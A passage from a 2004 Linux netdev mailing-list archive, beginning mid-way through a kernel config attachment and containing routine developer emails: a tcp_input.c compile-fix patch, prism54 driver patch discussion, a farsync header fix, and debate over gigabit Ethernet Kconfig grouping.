CONFIG_JFS_STATISTICS=y CONFIG_MINIX_FS=m CONFIG_VXFS_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_RW is not set CONFIG_HPFS_FS=m CONFIG_PROC_FS=y # CONFIG_DEVFS_FS is not set # CONFIG_DEVFS_MOUNT is not set # CONFIG_DEVFS_DEBUG is not set CONFIG_DEVPTS_FS=y # CONFIG_QNX4FS_FS is not set # CONFIG_QNX4FS_RW is not set CONFIG_ROMFS_FS=m CONFIG_EXT2_FS=y CONFIG_SYSV_FS=m CONFIG_UDF_FS=m # CONFIG_UDF_RW is not set CONFIG_UFS_FS=m # CONFIG_UFS_FS_WRITE is not set CONFIG_XFS_FS=m CONFIG_XFS_QUOTA=y # CONFIG_XFS_RT is not set CONFIG_XFS_TRACE=y # CONFIG_XFS_DEBUG is not set # # Network File Systems # CONFIG_CODA_FS=m CONFIG_INTERMEZZO_FS=m CONFIG_NFS_FS=m CONFIG_NFS_V3=y # CONFIG_NFS_DIRECTIO is not set # CONFIG_ROOT_NFS is not set CONFIG_NFSD=m CONFIG_NFSD_V3=y CONFIG_NFSD_TCP=y CONFIG_SUNRPC=m CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_SMB_FS=m # CONFIG_SMB_NLS_DEFAULT is not set CONFIG_SMB_UNIX=y # CONFIG_NCP_FS is not set # CONFIG_NCPFS_PACKET_SIGNING is not set # CONFIG_NCPFS_IOCTL_LOCKING is not set # CONFIG_NCPFS_STRONG is not set # CONFIG_NCPFS_NFS_NS is not set # CONFIG_NCPFS_OS2_NS is not set # CONFIG_NCPFS_SMALLDOS is not set # CONFIG_NCPFS_NLS is not set # CONFIG_NCPFS_EXTRAS is not set # CONFIG_ZISOFS_FS is not set # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y CONFIG_SMB_NLS=y CONFIG_NLS=y # # Native Language Support # CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_737=m CONFIG_NLS_CODEPAGE_775=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_852=m CONFIG_NLS_CODEPAGE_855=m CONFIG_NLS_CODEPAGE_857=m CONFIG_NLS_CODEPAGE_860=m CONFIG_NLS_CODEPAGE_861=m CONFIG_NLS_CODEPAGE_862=m CONFIG_NLS_CODEPAGE_863=m CONFIG_NLS_CODEPAGE_864=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_CODEPAGE_866=m CONFIG_NLS_CODEPAGE_869=m CONFIG_NLS_CODEPAGE_936=m CONFIG_NLS_CODEPAGE_950=m CONFIG_NLS_CODEPAGE_932=m CONFIG_NLS_CODEPAGE_949=m CONFIG_NLS_CODEPAGE_874=m CONFIG_NLS_ISO8859_8=m CONFIG_NLS_CODEPAGE_1250=m CONFIG_NLS_CODEPAGE_1251=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_2=m CONFIG_NLS_ISO8859_3=m CONFIG_NLS_ISO8859_4=m CONFIG_NLS_ISO8859_5=m CONFIG_NLS_ISO8859_6=m CONFIG_NLS_ISO8859_7=m CONFIG_NLS_ISO8859_9=m CONFIG_NLS_ISO8859_13=m CONFIG_NLS_ISO8859_14=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_KOI8_R=m CONFIG_NLS_KOI8_U=m CONFIG_NLS_UTF8=m # # Console drivers # CONFIG_VGA_CONSOLE=y # CONFIG_VIDEO_SELECT is not set # CONFIG_MDA_CONSOLE is not set # # Frame-buffer support # # CONFIG_FB is not set # # Sound # CONFIG_SOUND=m # CONFIG_SOUND_ALI5455 is not set # CONFIG_SOUND_BT878 is not set # CONFIG_SOUND_CMPCI is not set # CONFIG_SOUND_EMU10K1 is not set # CONFIG_MIDI_EMU10K1 is not set # CONFIG_SOUND_FUSION is not set # CONFIG_SOUND_CS4281 is not set # CONFIG_SOUND_ES1370 is not set # CONFIG_SOUND_ES1371 is not set # CONFIG_SOUND_ESSSOLO1 is not set # CONFIG_SOUND_MAESTRO is not set # CONFIG_SOUND_MAESTRO3 is not set # CONFIG_SOUND_FORTE is not set CONFIG_SOUND_ICH=m # CONFIG_SOUND_RME96XX is not set # CONFIG_SOUND_SONICVIBES is not set # CONFIG_SOUND_TRIDENT is not set # CONFIG_SOUND_MSNDCLAS is not set # CONFIG_SOUND_MSNDPIN is not set # CONFIG_SOUND_VIA82CXXX is not set # CONFIG_MIDI_VIA82CXXX is not set # CONFIG_SOUND_OSS is not set # CONFIG_SOUND_TVMIXER is not set # CONFIG_SOUND_AD1980 is not set # CONFIG_SOUND_WM97XX is not set # # USB support # CONFIG_USB=m CONFIG_USB_DEBUG=y # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y CONFIG_USB_BANDWIDTH=y # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m CONFIG_USB_UHCI=m CONFIG_USB_UHCI_ALT=m CONFIG_USB_OHCI=m # CONFIG_USB_SL811HS_ALT is not set # CONFIG_USB_SL811HS is not set # # USB Device Class drivers # CONFIG_USB_AUDIO=m CONFIG_USB_EMI26=m # # USB Bluetooth can only be used with disabled Bluetooth subsystem # CONFIG_USB_MIDI=m CONFIG_USB_STORAGE=m CONFIG_USB_STORAGE_DEBUG=y CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y CONFIG_USB_ACM=m CONFIG_USB_PRINTER=m # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m # # Input core support is needed for USB HID input layer or HIDBP support # # CONFIG_USB_HIDINPUT is not set CONFIG_USB_HIDDEV=y # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set # CONFIG_USB_AIPTEK is not set # CONFIG_USB_WACOM is not set # CONFIG_USB_KBTAB is not set # CONFIG_USB_POWERMATE is not set # # USB Imaging devices # CONFIG_USB_DC2XX=m CONFIG_USB_MDC800=m CONFIG_USB_SCANNER=m CONFIG_USB_MICROTEK=m CONFIG_USB_HPUSBSCSI=m # # USB Multimedia devices # # CONFIG_USB_IBMCAM is not set # CONFIG_USB_KONICAWC is not set # CONFIG_USB_OV511 is not set # CONFIG_USB_PWC is not set CONFIG_USB_SE401=m # CONFIG_USB_STV680 is not set # CONFIG_USB_W9968CF is not set # CONFIG_USB_VICAM is not set # CONFIG_USB_DSBR is not set # CONFIG_USB_DABUSB is not set # # USB Network adaptors # # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_CATC is not set # CONFIG_USB_CDCETHER is not set # CONFIG_USB_USBNET is not set # # USB port drivers # CONFIG_USB_USS720=m # # USB Serial Converter support # CONFIG_USB_SERIAL=m # CONFIG_USB_SERIAL_DEBUG is not set CONFIG_USB_SERIAL_GENERIC=y CONFIG_USB_SERIAL_BELKIN=m CONFIG_USB_SERIAL_WHITEHEAT=m CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m CONFIG_USB_SERIAL_EMPEG=m CONFIG_USB_SERIAL_FTDI_SIO=m CONFIG_USB_SERIAL_VISOR=m CONFIG_USB_SERIAL_IPAQ=m CONFIG_USB_SERIAL_IR=m CONFIG_USB_SERIAL_EDGEPORT=m CONFIG_USB_SERIAL_EDGEPORT_TI=m CONFIG_USB_SERIAL_KEYSPAN_PDA=m CONFIG_USB_SERIAL_KEYSPAN=m CONFIG_USB_SERIAL_KEYSPAN_USA28=y CONFIG_USB_SERIAL_KEYSPAN_USA28X=y CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y CONFIG_USB_SERIAL_KEYSPAN_USA19=y CONFIG_USB_SERIAL_KEYSPAN_USA18X=y CONFIG_USB_SERIAL_KEYSPAN_USA19W=y CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y CONFIG_USB_SERIAL_KEYSPAN_MPR=y CONFIG_USB_SERIAL_KEYSPAN_USA49W=y CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y CONFIG_USB_SERIAL_MCT_U232=m CONFIG_USB_SERIAL_KLSI=m CONFIG_USB_SERIAL_KOBIL_SCT=m CONFIG_USB_SERIAL_PL2303=m CONFIG_USB_SERIAL_CYBERJACK=m CONFIG_USB_SERIAL_XIRCOM=m CONFIG_USB_SERIAL_OMNINET=m # # USB Miscellaneous drivers # # CONFIG_USB_RIO500 is not set # CONFIG_USB_AUERSWALD is not set # CONFIG_USB_TIGL is not set # CONFIG_USB_BRLVGER is not set # CONFIG_USB_LCD is not set # # Support for USB gadgets # # CONFIG_USB_GADGET is not set # # Bluetooth support # CONFIG_BLUEZ=y CONFIG_BLUEZ_L2CAP=m CONFIG_BLUEZ_SCO=m CONFIG_BLUEZ_RFCOMM=m CONFIG_BLUEZ_RFCOMM_TTY=y CONFIG_BLUEZ_BNEP=m CONFIG_BLUEZ_BNEP_MC_FILTER=y CONFIG_BLUEZ_BNEP_PROTO_FILTER=y # # Bluetooth device drivers # CONFIG_BLUEZ_HCIUSB=m CONFIG_BLUEZ_HCIUSB_SCO=y CONFIG_BLUEZ_HCIUART=m CONFIG_BLUEZ_HCIUART_H4=y CONFIG_BLUEZ_HCIUART_BCSP=y CONFIG_BLUEZ_HCIUART_BCSP_TXCRC=y CONFIG_BLUEZ_HCIBFUSB=m # CONFIG_BLUEZ_HCIDTL1 is not set # CONFIG_BLUEZ_HCIBT3C is not set # CONFIG_BLUEZ_HCIBLUECARD is not set # CONFIG_BLUEZ_HCIBTUART is not set CONFIG_BLUEZ_HCIVHCI=m # # Kernel hacking # # CONFIG_DEBUG_KERNEL is not set CONFIG_LOG_BUF_SHIFT=17 # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_ARC4=m CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_MICHAEL_MIC=m CONFIG_CRYPTO_TEST=m # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=m CONFIG_ZLIB_DEFLATE=m # CONFIG_FW_LOADER is not set --------------020504030500080600010101-- From yoshfuji@linux-ipv6.org Sun May 30 21:00:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 21:00:41 -0700 (PDT) Received: from yue.st-paulia.net ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V40Tgi020679 for ; Sun, 30 May 2004 21:00:30 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.st-paulia.net (Postfix) with ESMTP id 9864333CE5; Mon, 31 May 2004 13:01:08 +0900 (JST) Date: Mon, 31 May 2004 13:01:06 +0900 (JST) Message-Id: <20040531.130106.109802314.yoshfuji@linux-ipv6.org> To: bryan@nerdvest.com Cc: marcelo.tosatti@cyclades.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Linux 2.4.27-pre4 From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <40BAA82A.4040105@nerdvest.com> References: <20040530205602.GA18637@logos.cnet> <40BAA82A.4040105@nerdvest.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Mon_May_31_13:01:06_2004_233)--" Content-Transfer-Encoding: 7bit X-archive-position: 5491 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev ----Next_Part(Mon_May_31_13:01:06_2004_233)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit In article <40BAA82A.4040105@nerdvest.com> (at Sun, 30 May 2004 22:36:10 -0500), Bryan Andersen says: > Error in ipv4 net code, config attached. > > gcc-3.2 -D__KERNEL__ -I/usr/src/linux-2.4.27-pre4/include -Wall > -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common > -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=athlon > -nostdinc -iwithprefix include -DKBUILD_BASENAME=tcp_input -c -o > tcp_input.o tcp_input.c > tcp_input.c: In function `tcp_rcv_space_adjust': > tcp_input.c:479: structure has no member named `sk_rcvbuf' > tcp_input.c:480: structure has no member named `sk_rcvbuf' Thanks. Patch is available. Please try this patch. --yoshfuji ----Next_Part(Mon_May_31_13:01:06_2004_233)-- Content-Type: Message/Rfc822 Content-Transfer-Encoding: 7bit Return-Path: Delivered-To: yoshfuji@yue.st-paulia.net Received: from sapphire (unknown [203.178.140.14]) by yue.st-paulia.net (Postfix) with ESMTP id 969D233CE6 for ; Mon, 31 May 2004 06:57:55 +0900 (JST) Received: by sapphire (Postfix) id 8593E23CFB; Mon, 31 May 2004 06:57:38 +0900 (JST) Delivered-To: yoshfuji@cerberus.st-paulia.net Received: from linux6.nezu.wide.ad.jp (linux6.nezu.wide.ad.jp [203.178.142.218]) by sapphire (Postfix) with ESMTP id E906623CF8 for ; Mon, 31 May 2004 06:57:37 +0900 (JST) Received: from oss.sgi.com (oss.sgi.com [192.48.159.27]) by linux6.nezu.wide.ad.jp (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4ULv9a3019999 for ; Mon, 31 May 2004 06:57:09 +0900 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.10/8.12.9) with ESMTP id i4ULv7gi008621; Sun, 30 May 2004 14:57:08 -0700 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:55:09 -0700 (PDT) Received: from aun.it.uu.se (root@aun.it.uu.se [130.238.12.36]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULsvgi008164 for ; Sun, 30 May 2004 14:54:59 -0700 Received: from harpo.it.uu.se (daemon@harpo.it.uu.se [130.238.12.34]) by aun.it.uu.se (8.12.11/8.12.10) with ESMTP id i4ULsoWj017720; Sun, 30 May 2004 23:54:50 +0200 (MEST) Received: (from mikpe@localhost) by harpo.it.uu.se (8.12.10+Sun/8.12.10) id i4ULso3l014496; Sun, 30 May 2004 23:54:50 +0200 (MEST) Date: Sun, 30 May 2004 23:54:50 +0200 (MEST) Message-Id: <200405302154.i4ULso3l014496@harpo.it.uu.se> From: Mikael Pettersson To: marcelo.tosatti@cyclades.com Subject: [PATCH][2.4.27-pre4] tcp_input.c compile-time error Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-archive-position: 5484 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-To: netdev-bounce@oss.sgi.com X-original-sender: mikpe@csd.uu.se Precedence: bulk X-list: netdev net/ipv4/tcp_input.c in 2.4.27-pre4 fails to compile: tcp_input.c: In function `tcp_rcv_space_adjust': tcp_input.c:479: error: structure has no member named `sk_rcvbuf' tcp_input.c:480: error: structure has no member named `sk_rcvbuf' make[3]: *** [tcp_input.o] Error 1 The patch below appears to fix this problem, although some netdev person should probably check it. /Mikael diff -ruN linux-2.4.27-pre4/net/ipv4/tcp_input.c linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c --- linux-2.4.27-pre4/net/ipv4/tcp_input.c 2004-05-30 23:18:16.000000000 +0200 +++ linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c 2004-05-30 23:45:52.000000000 +0200 @@ -476,8 +476,8 @@ 16 + sizeof(struct sk_buff)); space *= rcvmem; space = min(space, sysctl_tcp_rmem[2]); - if (space > sk->sk_rcvbuf) - sk->sk_rcvbuf = space; + if (space > sk->rcvbuf) + sk->rcvbuf = space; } } ----Next_Part(Mon_May_31_13:01:06_2004_233)---- From mcgrof@studorgs.rutgers.edu Sun May 30 22:07:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 22:07:24 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V57Agi023011 for ; Sun, 30 May 2004 22:07:11 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id DC211F9D4B; Mon, 31 May 2004 00:30:24 -0400 (EDT) Date: Mon, 31 May 2004 00:30:24 -0400 To: Jeff Garzik Cc: Margit Schubert-While , netdev@oss.sgi.com Subject: Re: [PATCH 1/17 linux-2.6.7-rc2] prism54: delete cvs tags Message-ID: <20040531043024.GB25094@ruslug.rutgers.edu> Mail-Followup-To: Jeff Garzik , Margit Schubert-While , netdev@oss.sgi.com References: <5.1.0.14.2.20040530212235.00aed870@pop.t-online.de> <20040530215508.GA25094@ruslug.rutgers.edu> <40BA5A51.6070405@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40BA5A51.6070405@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5492 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev On Sun, May 30, 2004 at 06:04:01PM -0400, Jeff Garzik wrote: > Luis R. Rodriguez wrote: > >On Sun, May 30, 2004 at 10:04:21PM +0200, Margit Schubert-While wrote: > > > >>2004-05-29 Margit Schubert-While > >> > >>* Remove CVS tags from source > > > > > >I believe what Jeff wanted was for all the patches to have these already > >removed, not to remove them from the kernel tree, specifically. > > Margit interpreted me correctly... As long as the CVS $tag$s are > present in the kernel tree, they will wind up leading to conflicts. Ahh wonderful then :) Luis -- GnuPG Key fingerprint = 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E From SRS0+fdcfbcef13c5c8f992d4+281+infradead.org+hch@pentafluge-083211.srs.infradead.org Mon May 31 00:32:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 00:32:44 -0700 (PDT) Received: from pentafluge.infradead.org ([213.146.154.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V7Wagi029807 for ; Mon, 31 May 2004 00:32:37 -0700 Received: from hch by pentafluge.infradead.org with local (Exim 4.33 #1 (Red Hat Linux)) id 1BUhHH-0001HA-Lh; Mon, 31 May 2004 08:32:11 +0100 Date: Mon, 31 May 2004 08:32:11 +0100 From: Christoph Hellwig To: Linus Torvalds Cc: Adrian Bunk , Jeff Garzik , linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton Subject: Re: [patch] Re: Gigabit Kconfig problems with yesterday's update Message-ID: <20040531073211.GA4894@infradead.org> Mail-Followup-To: Christoph Hellwig , Linus Torvalds , Adrian Bunk , Jeff Garzik , linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton References: <40B8A37D.1090802@myrealbox.com> <20040530134544.GE13111@fs.tum.de> <20040530143734.GA24627@dth.net> <20040530094120.61b22d2e.rddunlap@osdl.org> <40BA1F25.4080402@pobox.com> <20040530193706.GG13111@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-SRS-Rewrite: SMTP reverse-path rewritten from by pentafluge.infradead.org See http://www.infradead.org/rpr.html X-archive-position: 5493 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev On Sun, May 30, 2004 at 01:06:53PM -0700, Linus Torvalds wrote: > is it really sane these days to split out gigabit from the "regular" > ethernets? gigabit ethernet is getting quite a bit more common than it > used to be, and a lot of the gigabit devices are just "standard ethernet" > as far as the user is concerned, and in fact they are often _used_ in just > regular 10/100Mbps setups. Or have a gige chip that's crippled to do only 10/100, like the sungem on my ibook. From mmokrejs@ribosome.natur.cuni.cz Mon May 31 01:47:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 01:47:53 -0700 (PDT) Received: from aquarius.doma (h52.dkm.cz [62.24.73.52]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V8logi031770 for ; Mon, 31 May 2004 01:47:51 -0700 Received: (qmail 18883 invoked from network); 31 May 2004 10:47:48 +0200 Received: from unknown (HELO ribosome.natur.cuni.cz) (192.168.0.11) by 192.168.0.11 with AES256-SHA encrypted SMTP; 31 May 2004 10:47:48 +0200 Message-ID: <40BAF132.5010907@ribosome.natur.cuni.cz> Date: Mon, 31 May 2004 10:47:46 +0200 From: =?ISO-8859-2?Q?Martin_MOKREJ=A9?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040311 X-Accept-Language: cs, en-us, en MIME-Version: 1.0 To: mikpe@csd.uu.se, marcelo.tosatti@cyclades.com, davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH][2.4.27-pre4] tcp_input.c compile-time error X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5494 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mmokrejs@ribosome.natur.cuni.cz Precedence: bulk X-list: netdev This patch has helped to me to compile teh kernel at least. Thanks. net/ipv4/tcp_input.c in 2.4.27-pre4 fails to compile: tcp_input.c: In function `tcp_rcv_space_adjust': tcp_input.c:479: error: structure has no member named `sk_rcvbuf' tcp_input.c:480: error: structure has no member named `sk_rcvbuf' make[3]: *** [tcp_input.o] Error 1 The patch below appears to fix this problem, although some netdev person should probably check it. /Mikael diff -ruN linux-2.4.27-pre4/net/ipv4/tcp_input.c linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c --- linux-2.4.27-pre4/net/ipv4/tcp_input.c 2004-05-30 23:18:16.000000000 +0200 +++ linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c 2004-05-30 23:45:52.000000000 +0200 @@ -476,8 +476,8 @@ 16 + sizeof(struct sk_buff)); space *= rcvmem; space = min(space, sysctl_tcp_rmem[2]); - if (space > sk->sk_rcvbuf) - sk->sk_rcvbuf = space; + if (space > sk->rcvbuf) + sk->rcvbuf = space; } } From hch@lst.de Mon May 31 02:12:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 02:12:19 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V9CBgi000538 for ; Mon, 31 May 2004 02:12:14 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4V9C9Qc014005 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 31 May 2004 11:12:09 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i4V9C88U014003; Mon, 31 May 2004 11:12:08 +0200 Date: Mon, 31 May 2004 11:12:08 +0200 From: Christoph Hellwig To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH] farsync needs Message-ID: <20040531091208.GA13982@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5495 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev i386 gets it implicitly from somewhere but some architectures don't. Also move down so we have asm after linux headers. --- 1.20/drivers/net/wan/farsync.c 2004-05-27 19:24:11 +02:00 +++ edited/drivers/net/wan/farsync.c 2004-05-30 10:06:12 +02:00 @@ -21,9 +21,10 @@ #include #include #include -#include #include #include +#include +#include #include "farsync.h" From paulus@ozlabs.org Mon May 31 02:58:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 02:58:58 -0700 (PDT) Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V9wtgi003477 for ; Mon, 31 May 2004 02:58:56 -0700 Received: by ozlabs.org (Postfix, from userid 1003) id CE8202BD7B; Mon, 31 May 2004 19:58:47 +1000 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16571.560.788601.739034@cargo.ozlabs.ibm.com> Date: Mon, 31 May 2004 20:00:16 +1000 From: Paul Mackerras To: Christoph Hellwig Cc: Linus Torvalds , Adrian Bunk , Jeff Garzik , linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton Subject: Re: [patch] Re: Gigabit Kconfig problems with yesterday's update In-Reply-To: <20040531073211.GA4894@infradead.org> References: <40B8A37D.1090802@myrealbox.com> <20040530134544.GE13111@fs.tum.de> <20040530143734.GA24627@dth.net> <20040530094120.61b22d2e.rddunlap@osdl.org> <40BA1F25.4080402@pobox.com> <20040530193706.GG13111@fs.tum.de> <20040531073211.GA4894@infradead.org> X-Mailer: VM 7.18 under Emacs 21.3.1 X-archive-position: 5496 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paulus@samba.org Precedence: bulk X-list: netdev Christoph Hellwig writes: > Or have a gige chip that's crippled to do only 10/100, like the sungem > on my ibook. I think it is not that the sungem itself is crippled, rather that the phy can only do 10/100. I agree that the division between 10/100 and gigabit ethernet is pretty useless. I note that sungem didn't get put in the gigabit list, for instance. Paul. From margitsw@t-online.de Mon May 31 03:39:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 03:39:10 -0700 (PDT) Received: from mailout10.sul.t-online.com (mailout10.sul.t-online.com [194.25.134.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VAd6gi004924 for ; Mon, 31 May 2004 03:39:07 -0700 Received: from fwd00.aul.t-online.de by mailout10.sul.t-online.com with smtp id 1BUWdh-0006rK-03; Sun, 30 May 2004 22:10:37 +0200 Received: from margit.t-online.de (JJZ3+gZ18e9-EdpiCMtlWNm6ZL7pT8Gyx49DC2agdH3Sz32Onbt-Zg@[80.128.220.231]) by fwd00.sul.t-online.com with esmtp id 1BUWdd-14pQw40; Sun, 30 May 2004 22:10:33 +0200 Message-Id: <5.1.0.14.2.20040530215612.0c1fbd40@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:06:21 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 15/17 linux-2.6.7-rc2] prism54: Fix channel stats, bump version to 1.2 Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50557688==_" X-Seen: false X-ID: JJZ3+gZ18e9-EdpiCMtlWNm6ZL7pT8Gyx49DC2agdH3Sz32Onbt-Zg X-archive-position: 5497 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50557688==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-05-20 Aurelien Alleaume * islpci_eth.c : use dev_kfree_skb_irq instead of dev_kfree_skb where needed. * isl_ioctl.c : report channel instead of frequency in scan. * islpci_hotplug.c : bump version to 1.2 --=====================_50557688==_ Content-Type: application/octet-stream; name="15-fix-channel.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="15-fix-channel.patch" ZGlmZiAtTmF1ckViQiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv 